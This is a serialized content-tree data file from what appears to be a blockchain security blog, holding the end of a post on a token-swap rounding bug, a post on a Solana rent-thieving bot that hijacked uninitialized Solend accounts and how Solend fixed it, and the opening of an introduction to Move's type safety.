"value":44},{"type":20,"tag":315,"props":3437,"children":3438},{"style":635},[3439],{"type":26,"value":1463},{"type":20,"tag":315,"props":3441,"children":3442},{"style":328},[3443],{"type":26,"value":1468},{"type":20,"tag":315,"props":3445,"children":3446},{"style":334},[3447],{"type":26,"value":337},{"type":20,"tag":315,"props":3449,"children":3450},{"style":328},[3451],{"type":26,"value":463},{"type":20,"tag":315,"props":3453,"children":3454},{"style":345},[3455],{"type":26,"value":1481},{"type":20,"tag":315,"props":3457,"children":3458},{"style":328},[3459],{"type":26,"value":1049},{"type":20,"tag":315,"props":3461,"children":3462},{"style":334},[3463],{"type":26,"value":1490},{"type":20,"tag":315,"props":3465,"children":3466},{"style":635},[3467],{"type":26,"value":1495},{"type":20,"tag":315,"props":3469,"children":3470},{"style":328},[3471],{"type":26,"value":44},{"type":20,"tag":315,"props":3473,"children":3474},{"style":765},[3475],{"type":26,"value":1504},{"type":20,"tag":315,"props":3477,"children":3478},{"style":328},[3479],{"type":26,"value":1509},{"type":20,"tag":315,"props":3481,"children":3482},{"style":334},[3483],{"type":26,"value":1514},{"type":20,"tag":315,"props":3485,"children":3486},{"style":345},[3487],{"type":26,"value":1519},{"type":20,"tag":315,"props":3489,"children":3490},{"style":328},[3491],{"type":26,"value":1049},{"type":20,"tag":315,"props":3493,"children":3494},{"style":635},[3495],{"type":26,"value":1528},{"type":20,"tag":315,"props":3497,"children":3498},{"style":328},[3499],{"type":26,"value":1509},{"type":20,"tag":315,"props":3501,"children":3502},{"style":334},[3503],{"type":26,"value":1537},{"type":20,"tag":315,"props":3505,"children":3506},{"style":328},[3507],{"type":26,"value":380},{"type":20,"tag":315,"props":3509,"children":3510},{"class":317,"line":486},[3511,3515,3519,3523,3527,3531,3535,3539,3543,3547,3551,3555,3559,3563,3567,3571,3575,3579,3583,3587,3591,3595,3599,3603,3607],{"type":20,"tag":315,"props":3512,"children":3513},{"style":334},[3514],{"type":26,"value":817},{"type":20,"tag":315,"props":3516,"children":3517},{"style":334},[3518],{"type":26,"value":1549},{"type":20,"tag":315,"props":3520,"children":3521},{"style":345},[3522],{"type":26,"value":1554},{"type":20,"tag":315,"props":3524,"children":3525},{"style":328},[3526],{"type":26,"value":1049},{"type":20,"tag":315,"props":3528,"children":3529},{"style":345},[3530],{"type":26,"value":1563},{"type":20,"tag":315,"props":3532,"children":3533},{"style":328},[3534],{"type":26,"value":1049},{"type":20,"tag":315,"props":3536,"children":3537},{"style":334},[3538],{"type":26,"value":1490},{"type":20,"tag":315,"props":3540,"children":3541},{"style":635},[3542],{"type":26,"value":1495},{"type":20,"tag":315,"props":3544,"children":3545},{"style":328},[3546],{"type":26,"value":44},{"type":20,"tag":315,"props":3548,"children":3549},{"style":765},[3550],{"type":26,"value":1504},{"type":20,"tag":315,"props":3552,"children":3553},{"style":328},[3554],{"type":26,"value":1509},{"type":20,"tag":315,"props":3556,"children":3557},{"style":334},[3558],{"type":26,"value":1514},{"type":20,"tag":315,"props":3560,"children":3561},{"style":345},[3562],{"type":26,"value":1519},{"type":20,"tag":315,"props":3564,"children":3565},{"style":328},[3566],{"type":26,"value":1049},{"type":20,"tag":315,"props":3568,"children":3569},{"style":635},[3570],{"type":26,"value":1604},{"type":20,"tag":315,"props":3572,"children":3573},{"style":328},[3574],{"type":26,"value":1509},{"type":20,"tag":315,"props":3576,"children":3577},{"style":334},[3578],{"type":26,"value":1514},{"type":20,"tag":315,"props":3580,"children":3581},{"style":345},[3582],{"type":26,"value":1617},{"type":20,"tag":315,"props":3584,"children":3585},{"style":328},[3586],{"type":26,"value":1049},{"type":20,"tag":315,"props":3588,"children":3589},{"style":635},[3590],{"type":26,"value":1626},{"type":20,"tag":315,"props":3592,"children":3593},{"style":328},[3594],{"type":26,"value":1509},{"type":20,"tag":315,"props":3596,"children":3597},{"style":334},[3598],{"type":26,"value":1537},{"type":20,"tag":315,"props":3600,"children":3601},{"style":328},[3602],{"type":26,"value":1509},{"type":20,"tag":315,"props":3604,"children":3605},{"style":334},[3606],{"type":26,"value":1537},{"type":20,"tag":315,"props":3608,"children":3609},{"style":328},[3610],{"type":26,"value":1405},{"type":20,"tag":315,"props":3612,"children":3613},{"class":317,"line":499},[3614,3618,3622,3626,3630,3634],{"type":20,"tag":315,"props":3615,"children":3616},{"style":334},[3617],{"type":26,"value":817},{"type":20,"tag":315,"props":3619,"children":3620},{"style":525},[3621],{"type":26,"value":1654},{"type":20,"tag":315,"props":3623,"children":3624},{"style":635},[3625],{"type":26,"value":1659},{"type":20,"tag":315,"props":3627,"children":3628},{"style":334},[3629],{"type":26,"value":1664},{"type":20,"tag":315,"props":3631,"children":3632},{"style":635},[3633],{"type":26,"value":1390},{"type":20,"tag":315,"props":3635,"children":3636},{"style":328},[3637],{"type":26,"value":1092},{"type":20,"tag":315,"props":3639,"children":3640},{"class":317,"line":513},[3641,3646],{"type":20,"tag":315,"props":3642,"children":3643},{"style":525},[3644],{"type":26,"value":3645}," break",{"type":20,"tag":315,"props":3647,"children":3648},{"style":328},[3649],{"type":26,"value":1405},{"type":20,"tag":315,"props":3651,"children":3652},{"class":317,"line":521},[3653,3657,3661,3665],{"type":20,"tag":315,"props":3654,"children":3655},{"style":334},[3656],{"type":26,"value":817},{"type":20,"tag":315,"props":3658,"children":3659},{"style":328},[3660],{"type":26,"value":1692},{"type":20,"tag":315,"props":3662,"children":3663},{"style":525},[3664],{"type":26,"value":1087},{"type":20,"tag":315,"props":3666,"children":3667},{"style":328},[3668],{"type":26,"value":1092},{"type":20,"tag":315,"props":3670,"children":3671},{"class":317,"line":552},[3672,3676,3680,3684,3688],{"type":20,"tag":315,"props":3673,"children":3674},{"style":334},[3675],{"type":26,"value":817},{"type":20,"tag":315,"props":3677,"children":3678},{"style":635},[3679],{"type":26,"value":1708},{"type":20,"tag":315,"props":3681,"children":3682},{"style":334},[3683],{"type":26,"value":1395},{"type":20,"tag":315,"props":3685,"children":3686},{"style":635},[3687],{"type":26,"value":1659},{"type":20,"tag":315,"props":3689,"children":3690},{"style":328},[3691],{"type":26,"value":1405},{"type":20,"tag":315,"props":3693,"children":3694},{"class":317,"line":571},[3695],{"type":20,"tag":315,"props":3696,"children":3697},{"style":328},[3698],{"type":26,"value":3699}," }\n",{"type":20,"tag":21,"props":3701,"children":3703},{"id":3702},"closing-thoughts",[3704],{"type":26,"value":3705},"Closing Thoughts",{"type":20,"tag":29,"props":3707,"children":3708},{},[3709],{"type":26,"value":3710},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":20,"tag":29,"props":3712,"children":3713},{},[3714,3716,3722],{"type":26,"value":3715},"Another interesting takeaway is that ",{"type":20,"tag":3717,"props":3718,"children":3719},"strong",{},[3720],{"type":26,"value":3721},"fuzzing can give a false sense of security",{"type":26,"value":3723},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":20,"tag":29,"props":3725,"children":3726},{},[3727,3729,3736],{"type":26,"value":3728},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":20,"tag":35,"props":3730,"children":3733},{"href":3731,"rel":3732},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[39],[3734],{"type":26,"value":3735},"port-mortem of the NSS overflow",{"type":26,"value":61},{"type":20,"tag":29,"props":3738,"children":3739},{},[3740],{"type":20,"tag":2308,"props":3741,"children":3743},{"alt":7,"src":3742},"/posts/spl-swap/p0.png",[],{"type":20,"tag":29,"props":3745,"children":3746},{},[3747],{"type":26,"value":3748},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":20,"tag":29,"props":3750,"children":3751},{},[3752],{"type":26,"value":3753},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":20,"tag":29,"props":3755,"children":3756},{},[3757],{"type":26,"value":3758},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":20,"tag":1226,"props":3760,"children":3761},{},[3762],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":3764},[3765,3766,3767,3768],{"id":1297,"depth":356,"text":1300},{"id":2314,"depth":356,"text":2317},{"id":2620,"depth":356,"text":2623},{"id":3702,"depth":356,"text":3705},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":3773,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3774,"description":3775,"image":3776,"date":3780,"isFeatured":15,"onBlogPage":15,"tags":3781,"body":3782,"_type":1242,"_id":4106,"_source":1244,"_file":4107,"_stem":4108,"_extension":1247},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":3777,"width":3778,"height":3779},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[1259,1260],{"type":17,"children":3783,"toc":4099},[3784,3789,3795,3800,3805,3810,3816,3829,3876,3907,3916,3921,3926,3931,3937,3950,3966,3971,3976,3991,3995,4000,4015,4022,4027,4037,4044,4048,4053,4059,4064,4069,4074,4080,4085],{"type":20,"tag":29,"props":3785,"children":3786},{},[3787],{"type":26,"value":3788},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":20,"tag":21,"props":3790,"children":3792},{"id":3791},"background",[3793],{"type":26,"value":3794},"Background",{"type":20,"tag":29,"props":3796,"children":3797},{},[3798],{"type":26,"value":3799},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":20,"tag":29,"props":3801,"children":3802},{},[3803],{"type":26,"value":3804},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":20,"tag":29,"props":3806,"children":3807},{},[3808],{"type":26,"value":3809},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":20,"tag":21,"props":3811,"children":3813},{"id":3812},"the-exploit",[3814],{"type":26,"value":3815},"The Exploit",{"type":20,"tag":29,"props":3817,"children":3818},{},[3819,3821,3827],{"type":26,"value":3820},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":20,"tag":119,"props":3822,"children":3824},{"className":3823},[],[3825],{"type":26,"value":3826},"init_reserve",{"type":26,"value":3828}," function, which creates 6 new accounts to store data about the reserve:",{"type":20,"tag":68,"props":3830,"children":3831},{},[3832,3837,3842,3847,3858,3863],{"type":20,"tag":72,"props":3833,"children":3834},{},[3835],{"type":26,"value":3836},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":20,"tag":72,"props":3838,"children":3839},{},[3840],{"type":26,"value":3841},"reserve liquidity token account - holds deposited tokens",{"type":20,"tag":72,"props":3843,"children":3844},{},[3845],{"type":26,"value":3846},"fee receiver token account - account which will receive origination fees on borrows",{"type":20,"tag":72,"props":3848,"children":3849},{},[3850,3852],{"type":26,"value":3851},"reserve collateral mint account - deposit receipt token, also known as ",{"type":20,"tag":119,"props":3853,"children":3855},{"className":3854},[],[3856],{"type":26,"value":3857},"cTokens",{"type":20,"tag":72,"props":3859,"children":3860},{},[3861],{"type":26,"value":3862},"reserve collateral token account - holds users' collateral tokens",{"type":20,"tag":72,"props":3864,"children":3865},{},[3866,3868,3874],{"type":26,"value":3867},"creator collateral token account - creator's ",{"type":20,"tag":119,"props":3869,"children":3871},{"className":3870},[],[3872],{"type":26,"value":3873},"cToken",{"type":26,"value":3875}," account",{"type":20,"tag":29,"props":3877,"children":3878},{},[3879,3881,3886,3888,3893,3895,3900,3902],{"type":26,"value":3880},"Account creation and initialization are ",{"type":20,"tag":55,"props":3882,"children":3883},{},[3884],{"type":26,"value":3885},"usually",{"type":26,"value":3887}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":20,"tag":119,"props":3889,"children":3891},{"className":3890},[],[3892],{"type":26,"value":3826},{"type":26,"value":3894}," is ",{"type":20,"tag":55,"props":3896,"children":3897},{},[3898],{"type":26,"value":3899},"supposed",{"type":26,"value":3901}," to look like:\n",{"type":20,"tag":2308,"props":3903,"children":3906},{"src":3904,"alt":3905},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":20,"tag":29,"props":3908,"children":3909},{},[3910,3912],{"type":26,"value":3911},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":20,"tag":2308,"props":3913,"children":3915},{"src":3914,"alt":3905},"/posts/rent-thief/attacktransac.png",[],{"type":20,"tag":29,"props":3917,"children":3918},{},[3919],{"type":26,"value":3920},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":20,"tag":29,"props":3922,"children":3923},{},[3924],{"type":26,"value":3925},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":20,"tag":29,"props":3927,"children":3928},{},[3929],{"type":26,"value":3930},"Despite this lost cost, this is pretty annoying...",{"type":20,"tag":21,"props":3932,"children":3934},{"id":3933},"example",[3935],{"type":26,"value":3936},"Example",{"type":20,"tag":29,"props":3938,"children":3939},{},[3940,3942,3949],{"type":26,"value":3941},"Let's take a look at ",{"type":20,"tag":35,"props":3943,"children":3946},{"href":3944,"rel":3945},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[39],[3947],{"type":26,"value":3948},"a real attack",{"type":26,"value":61},{"type":20,"tag":29,"props":3951,"children":3952},{},[3953,3960,3962],{"type":20,"tag":35,"props":3954,"children":3957},{"href":3955,"rel":3956},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[39],[3958],{"type":26,"value":3959},"Transaction 1",{"type":26,"value":3961},":\n",{"type":20,"tag":2308,"props":3963,"children":3965},{"alt":7,"src":3964},"https://i.imgur.com/xJvIwgc.png",[],{"type":20,"tag":29,"props":3967,"children":3968},{},[3969],{"type":26,"value":3970},"(...more accounts truncated)",{"type":20,"tag":29,"props":3972,"children":3973},{},[3974],{"type":26,"value":3975},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":20,"tag":29,"props":3977,"children":3978},{},[3979,3986,3987],{"type":20,"tag":35,"props":3980,"children":3983},{"href":3981,"rel":3982},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[39],[3984],{"type":26,"value":3985},"Attacker's Transaction",{"type":26,"value":3961},{"type":20,"tag":2308,"props":3988,"children":3990},{"alt":7,"src":3989},"https://i.imgur.com/CpSKuL3.png",[],{"type":20,"tag":29,"props":3992,"children":3993},{},[3994],{"type":26,"value":3970},{"type":20,"tag":29,"props":3996,"children":3997},{},[3998],{"type":26,"value":3999},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":20,"tag":29,"props":4001,"children":4002},{},[4003,4010,4011],{"type":20,"tag":35,"props":4004,"children":4007},{"href":4005,"rel":4006},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[39],[4008],{"type":26,"value":4009},"Transaction 2",{"type":26,"value":3961},{"type":20,"tag":2308,"props":4012,"children":4014},{"alt":7,"src":4013},"https://i.imgur.com/of0GIdw.png",[],{"type":20,"tag":29,"props":4016,"children":4017},{},[4018],{"type":20,"tag":2308,"props":4019,"children":4021},{"alt":7,"src":4020},"https://i.imgur.com/0STSyv8.png",[],{"type":20,"tag":29,"props":4023,"children":4024},{},[4025],{"type":26,"value":4026},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":20,"tag":29,"props":4028,"children":4029},{},[4030,4036],{"type":20,"tag":35,"props":4031,"children":4034},{"href":4032,"rel":4033},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[39],[4035],{"type":26,"value":3985},{"type":26,"value":2884},{"type":20,"tag":29,"props":4038,"children":4039},{},[4040],{"type":20,"tag":2308,"props":4041,"children":4043},{"alt":7,"src":4042},"https://i.imgur.com/AmSPdmy.png",[],{"type":20,"tag":29,"props":4045,"children":4046},{},[4047],{"type":26,"value":3970},{"type":20,"tag":29,"props":4049,"children":4050},{},[4051],{"type":26,"value":4052},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":20,"tag":21,"props":4054,"children":4056},{"id":4055},"impact",[4057],{"type":26,"value":4058},"Impact",{"type":20,"tag":29,"props":4060,"children":4061},{},[4062],{"type":26,"value":4063},"Rent-thieving attacks don't steal much money.",{"type":20,"tag":29,"props":4065,"children":4066},{},[4067],{"type":26,"value":4068},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":20,"tag":29,"props":4070,"children":4071},{},[4072],{"type":26,"value":4073},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":20,"tag":21,"props":4075,"children":4077},{"id":4076},"solution",[4078],{"type":26,"value":4079},"Solution",{"type":20,"tag":29,"props":4081,"children":4082},{},[4083],{"type":26,"value":4084},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":20,"tag":29,"props":4086,"children":4087},{},[4088,4090,4097],{"type":26,"value":4089},"As a more permenant solution, Solend implemented ",{"type":20,"tag":35,"props":4091,"children":4094},{"href":4092,"rel":4093},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[39],[4095],{"type":26,"value":4096},"an onchain program",{"type":26,"value":4098}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":356,"depth":356,"links":4100},[4101,4102,4103,4104,4105],{"id":3791,"depth":356,"text":3794},{"id":3812,"depth":356,"text":3815},{"id":3933,"depth":356,"text":3936},{"id":4055,"depth":356,"text":4058},{"id":4076,"depth":356,"text":4079},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":4110,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4111,"description":4112,"author":11,"image":4113,"date":4117,"isFeatured":15,"onBlogPage":15,"body":4118,"_type":1242,"_id":7655,"_source":1244,"_file":7656,"_stem":7657,"_extension":1247},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":4114,"height":4115,"width":4116},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":17,"children":4119,"toc":7650},[4120,4125,4130,4149,4155,4167,4266,4274,4394,4402,4424,4577,4582,4840,4862,4897,4902,4922,4927,4938,4950,5162,5174,5188,5201,5458,5470,5692,5697,5725,5871,5890,5895,6160,6172,6177,6190,6196,6201,6206,6218,6232,6237,6336,6348,6361,6635,6640,6652,6657,6711,6731,6736,7619,7623,7628,7633,7646],{"type":20,"tag":29,"props":4121,"children":4122},{},[4123],{"type":26,"value":4124},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":20,"tag":29,"props":4126,"children":4127},{},[4128],{"type":26,"value":4129},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":20,"tag":29,"props":4131,"children":4132},{},[4133,4135,4140,4142,4147],{"type":26,"value":4134},"In this piece I'll seek to discuss exactly ",{"type":20,"tag":55,"props":4136,"children":4137},{},[4138],{"type":26,"value":4139},"how",{"type":26,"value":4141}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":20,"tag":55,"props":4143,"children":4144},{},[4145],{"type":26,"value":4146},"structurally",{"type":26,"value":4148}," safer programs.",{"type":20,"tag":21,"props":4150,"children":4152},{"id":4151},"types",[4153],{"type":26,"value":4154},"Types",{"type":20,"tag":29,"props":4156,"children":4157},{},[4158,4160,4166],{"type":26,"value":4159},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":20,"tag":119,"props":4161,"children":4163},{"className":4162},[],[4164],{"type":26,"value":4165},"coin.move",{"type":26,"value":61},{"type":20,"tag":305,"props":4168,"children":4170},{"className":1360,"code":4169,"language":1359,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[4171],{"type":20,"tag":119,"props":4172,"children":4173},{"__ignoreMap":7},[4174,4182,4229,4237,4258],{"type":20,"tag":315,"props":4175,"children":4176},{"class":317,"line":318},[4177],{"type":20,"tag":315,"props":4178,"children":4179},{"style":1071},[4180],{"type":26,"value":4181}," /// Main structure representing a coin/token in an account's custody.\n",{"type":20,"tag":315,"props":4183,"children":4184},{"class":317,"line":356},[4185,4190,4195,4200,4205,4210,4215,4220,4225],{"type":20,"tag":315,"props":4186,"children":4187},{"style":541},[4188],{"type":26,"value":4189}," struct",{"type":20,"tag":315,"props":4191,"children":4192},{"style":322},[4193],{"type":26,"value":4194}," Coin",{"type":20,"tag":315,"props":4196,"children":4197},{"style":328},[4198],{"type":26,"value":4199},"\u003C",{"type":20,"tag":315,"props":4201,"children":4202},{"style":635},[4203],{"type":26,"value":4204},"phantom",{"type":20,"tag":315,"props":4206,"children":4207},{"style":322},[4208],{"type":26,"value":4209}," CoinType",{"type":20,"tag":315,"props":4211,"children":4212},{"style":328},[4213],{"type":26,"value":4214},"> ",{"type":20,"tag":315,"props":4216,"children":4217},{"style":635},[4218],{"type":26,"value":4219},"has",{"type":20,"tag":315,"props":4221,"children":4222},{"style":635},[4223],{"type":26,"value":4224}," store",{"type":20,"tag":315,"props":4226,"children":4227},{"style":328},[4228],{"type":26,"value":1092},{"type":20,"tag":315,"props":4230,"children":4231},{"class":317,"line":365},[4232],{"type":20,"tag":315,"props":4233,"children":4234},{"style":1071},[4235],{"type":26,"value":4236}," /// Amount of coin this address has.\n",{"type":20,"tag":315,"props":4238,"children":4239},{"class":317,"line":374},[4240,4245,4249,4254],{"type":20,"tag":315,"props":4241,"children":4242},{"style":635},[4243],{"type":26,"value":4244}," value",{"type":20,"tag":315,"props":4246,"children":4247},{"style":334},[4248],{"type":26,"value":2884},{"type":20,"tag":315,"props":4250,"children":4251},{"style":322},[4252],{"type":26,"value":4253}," u64",{"type":20,"tag":315,"props":4255,"children":4256},{"style":328},[4257],{"type":26,"value":643},{"type":20,"tag":315,"props":4259,"children":4260},{"class":317,"line":383},[4261],{"type":20,"tag":315,"props":4262,"children":4263},{"style":328},[4264],{"type":26,"value":4265}," }\n",{"type":20,"tag":29,"props":4267,"children":4268},{},[4269],{"type":20,"tag":55,"props":4270,"children":4271},{},[4272],{"type":26,"value":4273},"aptos",{"type":20,"tag":305,"props":4275,"children":4277},{"className":1360,"code":4276,"language":1359,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[4278],{"type":20,"tag":119,"props":4279,"children":4280},{"__ignoreMap":7},[4281,4289,4339,4356,4387],{"type":20,"tag":315,"props":4282,"children":4283},{"class":317,"line":318},[4284],{"type":20,"tag":315,"props":4285,"children":4286},{"style":1071},[4287],{"type":26,"value":4288}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":20,"tag":315,"props":4290,"children":4291},{"class":317,"line":356},[4292,4296,4300,4304,4308,4313,4317,4321,4326,4330,4335],{"type":20,"tag":315,"props":4293,"children":4294},{"style":541},[4295],{"type":26,"value":4189},{"type":20,"tag":315,"props":4297,"children":4298},{"style":322},[4299],{"type":26,"value":4194},{"type":20,"tag":315,"props":4301,"children":4302},{"style":328},[4303],{"type":26,"value":4199},{"type":20,"tag":315,"props":4305,"children":4306},{"style":635},[4307],{"type":26,"value":4204},{"type":20,"tag":315,"props":4309,"children":4310},{"style":322},[4311],{"type":26,"value":4312}," T",{"type":20,"tag":315,"props":4314,"children":4315},{"style":328},[4316],{"type":26,"value":4214},{"type":20,"tag":315,"props":4318,"children":4319},{"style":635},[4320],{"type":26,"value":4219},{"type":20,"tag":315,"props":4322,"children":4323},{"style":635},[4324],{"type":26,"value":4325}," key",{"type":20,"tag":315,"props":4327,"children":4328},{"style":328},[4329],{"type":26,"value":44},{"type":20,"tag":315,"props":4331,"children":4332},{"style":635},[4333],{"type":26,"value":4334},"store",{"type":20,"tag":315,"props":4336,"children":4337},{"style":328},[4338],{"type":26,"value":1092},{"type":20,"tag":315,"props":4340,"children":4341},{"class":317,"line":365},[4342,4347,4351],{"type":20,"tag":315,"props":4343,"children":4344},{"style":635},[4345],{"type":26,"value":4346}," id",{"type":20,"tag":315,"props":4348,"children":4349},{"style":334},[4350],{"type":26,"value":2884},{"type":20,"tag":315,"props":4352,"children":4353},{"style":328},[4354],{"type":26,"value":4355}," UID,\n",{"type":20,"tag":315,"props":4357,"children":4358},{"class":317,"line":374},[4359,4364,4368,4373,4377,4382],{"type":20,"tag":315,"props":4360,"children":4361},{"style":635},[4362],{"type":26,"value":4363}," balance",{"type":20,"tag":315,"props":4365,"children":4366},{"style":334},[4367],{"type":26,"value":2884},{"type":20,"tag":315,"props":4369,"children":4370},{"style":322},[4371],{"type":26,"value":4372}," Balance",{"type":20,"tag":315,"props":4374,"children":4375},{"style":328},[4376],{"type":26,"value":4199},{"type":20,"tag":315,"props":4378,"children":4379},{"style":322},[4380],{"type":26,"value":4381},"T",{"type":20,"tag":315,"props":4383,"children":4384},{"style":328},[4385],{"type":26,"value":4386},">\n",{"type":20,"tag":315,"props":4388,"children":4389},{"class":317,"line":383},[4390],{"type":20,"tag":315,"props":4391,"children":4392},{"style":328},[4393],{"type":26,"value":4265},{"type":20,"tag":29,"props":4395,"children":4396},{},[4397],{"type":20,"tag":55,"props":4398,"children":4399},{},[4400],{"type":26,"value":4401},"sui",{"type":20,"tag":29,"props":4403,"children":4404},{},[4405,4407,4414,4416,4422],{"type":26,"value":4406},"Pulling an example from ",{"type":20,"tag":35,"props":4408,"children":4411},{"href":4409,"rel":4410},"https://pontem.network/",[39],[4412],{"type":26,"value":4413},"Pontem Network's",{"type":26,"value":4415}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":20,"tag":119,"props":4417,"children":4419},{"className":4418},[],[4420],{"type":26,"value":4421},"LiquidityPool",{"type":26,"value":4423}," natively embeds this type information into it's fields.",{"type":20,"tag":305,"props":4425,"children":4427},{"className":1360,"code":4426,"language":1359,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[4428],{"type":20,"tag":119,"props":4429,"children":4430},{"__ignoreMap":7},[4431,4439,4503,4533,4562,4570],{"type":20,"tag":315,"props":4432,"children":4433},{"class":317,"line":318},[4434],{"type":20,"tag":315,"props":4435,"children":4436},{"style":1071},[4437],{"type":26,"value":4438}," /// Liquidity pool with reserves.\n",{"type":20,"tag":315,"props":4440,"children":4441},{"class":317,"line":356},[4442,4447,4452,4456,4460,4465,4469,4473,4478,4482,4486,4491,4495,4499],{"type":20,"tag":315,"props":4443,"children":4444},{"style":541},[4445],{"type":26,"value":4446}," struct",{"type":20,"tag":315,"props":4448,"children":4449},{"style":322},[4450],{"type":26,"value":4451}," LiquidityPool",{"type":20,"tag":315,"props":4453,"children":4454},{"style":328},[4455],{"type":26,"value":4199},{"type":20,"tag":315,"props":4457,"children":4458},{"style":635},[4459],{"type":26,"value":4204},{"type":20,"tag":315,"props":4461,"children":4462},{"style":322},[4463],{"type":26,"value":4464}," 